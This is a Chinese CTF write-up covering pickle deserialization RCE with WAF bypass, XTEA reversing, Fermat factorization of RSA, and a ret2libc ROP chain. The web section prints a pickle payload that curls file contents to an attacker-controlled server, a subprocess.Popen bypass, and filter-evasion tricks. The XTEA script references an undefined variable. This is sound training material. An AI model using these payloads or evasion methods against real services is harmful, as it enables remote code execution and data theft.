1. 先说点实际的:UnionCTF到底是什么水平的比赛
CTF圈子里,大型赛事分几种:一种是HackTheBox、TryHackMe那种平台常驻赛,适合练手;一种是XCTF联赛里动辄几百支队参与的大赛,神仙打架;还有一种是大学社团或者安全团队自己办的"社区型"比赛,题量不大,但质量往往出奇地好。UnionCTF属于最后一种,由希腊的University of Athens的CTF团队主办,一年一届,48小时线上赛,题目方向涵盖Web、Reverse、Pwn、Crypto、Misc,难度曲线设计得相当典型——送分题能让你热身,中等题卡住一批人,难题真的能让你坐着盯屏幕两个小时不知道自己在干嘛。
我去打这一届的时候,说实话目标很简单:不指望拿多高的名次,但要把该拿的分都拿稳。CTF这个东西,拿分效率比什么都重要。48小时听起来很长,实际到了后半程,你会发现大部分时间都耗在"卡住—换思路—再卡住"的循环里。所以赛前我就定了几个规矩:先花半小时扫一遍所有题的描述和分值,按难度排序;Web和Misc优先,因为上手快;Reverse和Pwn放到后半夜脑子还能转的时候啃;Crypto如果前面卡太久就直接放弃,不值得死磕。
这篇文章不是那种"赛后总结报告",我主要想把我们在这场比赛里实际做过的几道题拆开讲清楚,重点放在思路推导和踩坑记录上。你会看到完整的过程——怎么从一道题里嗅到出题人的意图,怎么在工具的辅助下做判断,以及哪些地方我们真的浪费了很多时间在无意义的事情上。如果你正在准备自己的第一场线下或线上CTF,或者已经打过几场但总觉得卡在瓶颈期,那这篇应该能给你一点参考。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 赛前观察与选题策略:一张分值表背后的信息量
UnionCTF的题目打包发布后,第一件事不是急着做题,而是把所有题目的名称、分值、附件类型列成一张表。这个习惯是我打了十几场比赛后才养成的。题目名字往往就暗示了考察点,比如名字里带"note"的Web题大概率是注入类,带"shop"的八成是逻辑漏洞,Reverse题名字带"baby"之类的基本是新手向。分值更能说明问题:100分左右的题通常15到30分钟内能解出,200到300分的题可能需要一两个小时,500分的题在没有明显思路的情况下果断跳过。
我们队当时的策略是这样:
- Web方向:把所有Web题的通告先读一遍,挑一道分值最低的开始热手。因为Web题往往只给你一个URL,交互手段就那些,快速拿到flag能快速建立信心。
- Misc方向:Misc题看着简单,但有时候坑反而多。文件隐写、流量分析、压缩包伪加密,每一种都有对应的套路,工具准备好就能直接跑。
- Reverse和Pwn:这类题依赖附件分析,需要长时间的静态逆向和调试,适合放到干扰最少的时段集中处理。
- Crypto:没有明显的送分题就果断战略性放弃,把时间匀给其他方向。
现在回头看,这个分工最大的好处是避免了"全员死磕同一道题"的低效状态。CTF是团队协作,一个人盯一道题盯太久了容易"盯瞎",看什么都是对的,但就是跑不通。两个人背对背互相审一下payload和脚本,反而能发现很多低级错误。
另外有个纯实操层面的建议:比赛开始前,先把常用的工具链检查一遍——Burp Suite的插件、Ghidra和IDA的版本、pwntools和Python的依赖、John the Ripper和hashcat的字典。我们这场比赛就踩了一个工具坑:某个逆向题的附件需要用特定版本的zlib解压,本地的zlib版本太新反而解不了旧格式的压缩流,后来用Docker起了个老环境才搞定。这种问题纯粹是环境兼容性,和脑力无关,但如果没有提前准备,真的会卡住半天。
3. Web方向:一道Pickle反序列化题的完整拆解
3.1 题目观察与入口发现
这道Web题名叫"SOP",分值150,属于Web里中规中矩的难度。开局给的URL是一个简单的Flask应用,页面只有一个表单,提交内容后原样显示出来,典型的"回显点"。我习惯先做三件事:看HTTP响应头、扫目录、试探是否存在模板注入。
响应头里有个明显的Server: Werkzeug/2.2.2,确认了Flask框架。目录扫描很快发现了/console路径,这在Flask开启debug模式时很常见。访问一下,发现了Werkzeug的调试器交互页面,不过它要求输入PIN码。Werkzeug的console PIN在特定版本下存在已知的生成逻辑,如果你能拿到目标机器的一些文件路径和MAC地址,可以暴力计算PIN。但我们没有拿到Shell,文件路径猜不出来,这条路先放一放。
接着我注意到主页面的回显是普通文本,但提交的数据如果包含一个名为user的Cookie,页面会额外输出"Welcome back"的提示。把Cookie值解码看看——Base64解码后出现了}q\x00(X\x04\x00\x00\x00name这样的字符串,这个q\x00和X\x04\x00是pickle协议中BINPUT和BINUNICODE的标志。也就是说,这个应用把用户的Cookie直接用pickle.loads加载了。
3.2 利用Pickle反序列化实现RCE
Pickle反序列化的漏洞利用核心在于__reduce__方法。当pickle重建对象时,如果遇到了__reduce__,它会在反序列化过程中调用指定的函数和参数。攻击payload大致长这样:
python复制import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('curl <your_server>/cookie?c=$(cat flag.txt)',))
print(pickle.dumps(Exploit(), protocol=0).decode())
Protocol 0是文本格式,方便调试和阅读,生成的payload里能看到清晰的cposix\nsystem\n的指令序列。我先把payload发给自己的服务器,观察请求是否打过来。第一次实验失败了,原因是os.system的返回值是整数,而pickle在重建的时候对返回值类型有要求,但这个问题在远程环境中并不会立刻暴露——真正的问题是出题人在代码里做了过滤。
3.3 绕过WAF的几种尝试
回显报错信息是it's not safe,说明出题人过滤了部分关键词。我猜测过滤了os和system,但要确认过滤范围,最好的办法是本地搭一个一模一样的过滤逻辑,然后用pickletools.dis逐步分析哪个字节触发了过滤。
第一次尝试:直接用__reduce__返回(os.system, ('id',)),被拦截。第二次尝试:把os.system换成eval,payload是(eval, ('__import__("os").system("id")',)),也被拦了。这说明过滤的不只是函数名,可能还有import这类关键字。
第三次尝试换个思路:不直接调用命令执行的函数,而是通过subprocess.Popen来启动一个进程。Payload变成:
python复制import pickle, subprocess
class Exploit:
def __reduce__(self):
return (subprocess.Popen, ('cat flag.txt', -1, None, None, None, None, None, True))
这一下绕过了WAF,因为subprocess.Popen这个字符串不在过滤列表里。用protocol 0生成的payload里,关键的指令是csubprocess\nPopen\n。发送过去之后,服务器的响应里把cat flag.txt的输出直接显示在了报错堆栈里——flag到手。
注意:本地生成payload和远程实际执行之间有一个经常被忽略的差异,就是Python版本。python3.11和python3.8的pickle协议在部分操作码上存在差异,建议在发送前用
pickletools.dis检查一遍指令流,确保没有用到远程不支持的协议版本。
3.4 这题给我们的经验
Pickle反序列化漏洞本身不难,难的是怎么绕过WAF。常见思路包括:大小写混写(Os.SyStEm)、拼接字符串("os"+"system")、利用getattr动态获取属性、使用os.popen/subprocess.Popen等替代函数。我建议在本地把WAF逻辑先恢复出来,用Burp的Intruder批量测试哪些关键词被过滤,再把不同的绕过组合打印成payload逐个验证——不要凭感觉猜。
4. Reverse方向:一个TEA加密变体的逆向还原过程
4.1 拿到文件后的分析步骤
这道逆向题名叫"baby_tEA",分值200。附件是一个Linux x86-64的ELF,file命令显示它是stripped的,没有符号表。用strings先扫一遍,能看到"flag{}"格式的提示字符串和一个usage: ./baby_tEA <input>的提示——说明是个输入校验型的reversing题。
用Ghidra打开,找到main函数。因为strip过,main在Ghidra里显示为entry调用的一个未命名函数。代码结构不复杂:读入输入,按字符做处理,最后和内存里的一组常量比较。其中有一段循环很显眼:
c复制for (i = 0; i < 4; i++) {
v = *(uint32_t *)(input + i * 4);
v2 = v + 0x9E3779B9;
...
}
看到0x9E3779B9这个魔数,几乎可以直接断定这是TEA(Tiny Encryption Algorithm)或者它的变种XTEA、XXTEA。TEA系列的加密特征就是delta常量0x9E3779B9,这是黄金分割比例的一个近似值。识别出算法后,接下来要区分具体的变种:
- TEA:使用delta循环,每轮有左移右移和异或操作,密钥为16字节分成四组
- XTEA:在TEA基础上增加了密钥索引的偏移逻辑,每轮操作依赖
(sum >> 11) & 3 - XXTEA:块大小不固定,逐字处理,结构差异更大
4.2 变种识别与脚本编写
我把Ghidra反编译出的加密逻辑和标准TEA源码对照了一下,注意到一个细节:加密函数里*(uint32_t *)(key + (sum >> 11 & 3) * 4)——这个(sum >> 11) & 3正是XTEA的标志。确定了是XTEA,接下来要做的是获取密钥和密文。
密钥是硬编码在数据段里的K[4],Ghidra直接能看到。密文是程序里校验用的4个uint32常量。有了这些,直接写解密脚本:
python复制from struct import pack, unpack
def xtea_decrypt(cipher, key):
delta = 0x9E3779B9
rounds = 32
v0, v1 = unpack('<2I', cipher)
s = (delta * rounds) & 0xFFFFFFFF
k0, k1, k2, k3 = key
for _ in range(rounds):
v1 = ((v1 - (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + k[(s >> 11) & 3])) & 0xFFFFFFFF)
s = (s - delta) & 0xFFFFFFFF
v0 = ((v0 - (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + k[s & 3])) & 0xFFFFFFFF)
return pack('<2I', v0, v1)
脚本本身不难写,但有几个非常容易踩坑的地方:
- 字节序:Ghidra里看到的常量是按人类阅读习惯排列的十六进制,比如
0x12345678,但内存里实际是小端存储。读取数据时用unpack('<2I')而不是'>2I',不然解出来完全错乱。 - 有符号与无符号:C语言的uint32_t是无符号的,但循环里的左移右移操作如果被反编译器标成了int,所有中间值都会带上符号位。脚本里所有变量和运算结果都要用
& 0xFFFFFFFF强制归位。 - 轮数:标准XTEA是32轮,但有的出题人会改成64轮或者自定义轮数,脚本里对应改。
第一次跑脚本解出来的结果是乱码,问题出在字节序。把Ghidra的"Big Endian"显示选项切换成"Little Endian"之后再读取密文常量,重新运行,解密结果直接打印出了flag。
4.3 关于逆向的工具选择
我个人的习惯是Ghidra负责静态分析,因为免费、跨平台、反编译效果不比IDA差;但遇到复杂的控制流混淆或者虚拟化保护的题,Ghidra的调试功能偏弱,我会切换到IDA+调试器。但不管是哪个工具,关键思路都是一样的:先找到特征常量或特征算法模式,再写脚本还原。
提示:TEA/XTEA/XXTEA这类算法在CTF里出现频率极高,建议把标准加密和解密脚本维护成自己的工具集,随用随取。有条件的可以把这类常见密码学算法的src目录保存一份,比赛时直接对照。
5. Crypto方向:RSA的Fermat分解攻击,一次实际的参数推导
5.1 从题目文件里提取公钥信息
Crypto题我们挑了一道分值250的RSA题目,给的文件是个public.pem和一个flag.enc。这类题的常规操作是先读公钥参数,用Python的Crypto.PublicKey或者openssl命令:
bash复制openssl rsa -pubin -in public.pem -text -noout
输出能看到模数n的十六进制和公钥指数e。这道题e=65537,n是一个1024位的数。接下来判断n是否有明显的数学特征。用python -c "import gmpy2; print(gmpy2.is_prime(n))"测试素数性当然不现实——n肯定是两个质数的乘积,我们要做的是检查p和q是否"太接近"。
这类题有一个经典的攻击方式:如果p和q的差值很小,那么n可以写成(p+q)/2和(p-q)/2的平方差形式。也就是说,设a = (p+q)/2,b = (p-q)/2,那么n = a^2 - b^2。如果我们能找到一个接近sqrt(n)的整数a,使得a^2 - n是完全平方数,就能分解n。
5.2 Fermat分解的实现与细节
Fermat分解的思路是:从a = ceil(sqrt(n))开始,逐步递增a,计算b2 = a^2 - n,检查b2是否为平方数。Python的gmpy2.isqrt求整数平方根,gmpy2.is_square判断平方数,速度都很快。
python复制import gmpy2
a = gmpy2.isqrt(n) + 1
while True:
b2 = a * a - n
if gmpy2.is_square(b2):
b = gmpy2.isqrt(b2)
p = a + b
q = a - b
assert p * q == n
print(p, q)
break
a += 1
这个循环在p和q差值很小的情况下收敛极快,通常几万次以内就能找到。但这里有一个性能坑:纯Python的循环在每轮迭代里都要做一次大数乘法,如果p和q差值大,循环次数会飙升到百万级别。优化手段是有的——利用gmpy2的位运算特性,或者用SageMath的factor内部算法,但对我们这道题来说,直接用上面的循环就够了。
5.3 解密与还原flag
拿到p和q后,计算phi(n) = (p-1)(q-1),然后求e在模phi下的逆元d,最后用pow(c, d, n)解出明文。如果flag的编码是bytes,再把整数转成字节序列,strip掉填充就能看到flag{...}。
python复制from Crypto.Util.number import inverse, long_to_bytes
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
实际操作中,最影响解题速度的地方是公钥的读取格式。public.pem可能是PKCS#1或PKCS#8格式,不同格式用Crypto.PublicKey.RSA.import_key都能读出n和e,但如果遇到DER裸格式(没有ASN.1包装),直接按长度截取n的字节流也是可以的。对于这类题的坑,我给的建议是:提前准备好一个rsa_tool.py脚本,把读公钥、Fermat分解、密文解密这些流程全部写成函数,比赛时改个文件名就能直接跑。
6. Pwn方向:ret2libc的标准打法,和一个差点毁掉一切的栈对齐问题
6.1 初步侦察与防护机制检查
Pwn题我们遇到了一个名叫"echo"的程序,分值300。程序功能极其简单——输出一句话,读入用户输入,再原样输出。用checksec查看保护机制:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
No canary意味着可以无脑溢出,NX开启意味着不能直接执行栈上的shellcode,PIE开启意味着代码段地址随机化,但GOT表地址仍然是相对固定的(Partial RELRO)。结合这些信息,标准思路是ret2libc——先泄露一个libc函数的实际地址,计算libc基址,再调用system('/bin/sh')。
6.2 泄漏libc地址并计算基址
首先要确定溢出点的偏移量。用pwntools的cyclic生成一串唯一字符,发送给程序,查看崩溃时的RIP值,算出偏移是136字节。
第一次payload要完成两件事:调用puts@plt输出puts@got的地址,然后跳回main让程序重新执行。利用ROPgadget找到pop rdi; ret的gadget地址:
bash复制ROPgadget --binary echo | grep "pop rdi"
注意一个细节:因为PIE开启,gadget地址是相对于文件基址的偏移。但puts@plt和main的地址也一样是偏移,所以第一阶段payload里用的全是相对地址,程序自身会在运行时动态加载到正确位置。接收数据时,recvline拿到的是puts的实际运行时地址,用u64解析出整数,然后根据已知的libc版本算出偏移量。
计算偏移的方法:从libc中找到puts的符号偏移,用运行时地址减去符号偏移得到libc基址,再在libc里找system和/bin/sh的偏移,加上基址得到它们的实际地址。
6.3 一个非常隐蔽的栈对齐问题
第二次payload的计划是:填充136字节,然后调用system('/bin/sh')。发送后程序没有正常弹出shell,而是直接Segment Fault。排查了半天,最后发现问题出在栈对齐上——x86-64的System V ABI要求调用call指令时栈指针按16字节对齐,但直接跳转到system时,栈没有经过call指令的压栈操作,导致movaps指令触发异常。
解决办法是在调用system之前加一个额外的ret指令,比如用ret gadget再"蹭"掉8字节,把栈对齐拉回来。修改之后的payload变成:
python复制payload = b'A'*136
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret) # 仅用于栈对齐,不改变控制流
payload += p64(system_addr)
这个ret gadget在ROPgadget里很容易找到。我在本地的qemu环境里验证没问题,远程打过去直接拿到了flag。
注意:Pwn题里的栈对齐问题很常见。如果
system调用报错但gdb里看不出明显问题,优先检查栈对齐。另外pwntools的ROP类在构造时会自动处理部分对齐问题,但如果手动构造payload,很容易踩这个坑。
6.4 远程环境与本地环境的libc差异
远程环境的libc版本和本地可能不一样,这会直接影响偏移计算。我们这道题的远程环境没有明确给出libc,所以本来打算用LibcSearcher在线搜库,但实际上是靠题目描述里的一句"Ubuntu 20.04"推测了版本。如果有条件,建议还是先从题目服务器下载/lib/x86_64-linux-gnu/libc.so.6,或者用DynELF从程序里动态查符号——后者虽然麻烦,但能应对libc版本完全未知的情况。
7. 关于赛程管理和心态调整的一些想法
48小时的比赛,最大的敌人不是题目难度,而是状态管理。我们实际到第30小时左右的时候,Pwn题反复调试都过不了,几个人都盯着一个movaps的对齐错误看了很久,脑子已经"凝固"了。后来去睡了一觉,回来重新读了一遍ROPgadget的输出,十分钟就修好了。
给新手的建议:单个题目的连续投入时间不要超过两个半小时。超过这个时限还没进展,说明思路大概率有偏差,换人换视角再看一遍比硬扛有效得多。另外,赛前把基础设施准备好——一个能秒起的环境(Docker)、一个能远程协作的文档(飞书或者Notion)、一个能随时记录payload的本地文件夹——这三样东西才是决定效率的关键。
打CTF和其他技术工作最大的不同是:它逼你快速迭代,而且所有判断都是即时反馈的。你提交一个payload,服务器立刻告诉你对或错——这种反馈循环非常爽,但也容易让人陷入"无脑尝试"的状态。有意识地提醒自己"先确认假设,再构造payload",往往能帮你省下一大半盲目测试的时间。
8. 最后分享一个我自己的经验
每次比赛结束,我都会把这次做的所有题整理成一份writeup,即使有些题最终没有解出来,也把当时的思路和卡住的点记录下来。这份writeup的价值会在几个月后体现出来——同一类型的题换个马甲再次出现时,你能一眼认出它背后的套路。
UnionCTF这一场下来,我最大的体会是:CTF考的其实不是"知识广度",而是"见过多少种套路+能多快识别出套路"。反序列化、XTEA、Fermat分解、ret2libc,每一个单独拿出来都不算冷门,但比赛的时候把它们混在一起、再加上各种WAF和防护机制,就会逼着你把基本功打扎实。所以如果你正在为某一道题卡住而懊恼,别急着怀疑自己——先去把你已经掌握的工具链用得再熟练一点,把写过一遍的脚本再整理得顺手一点,下次一定会快很多。
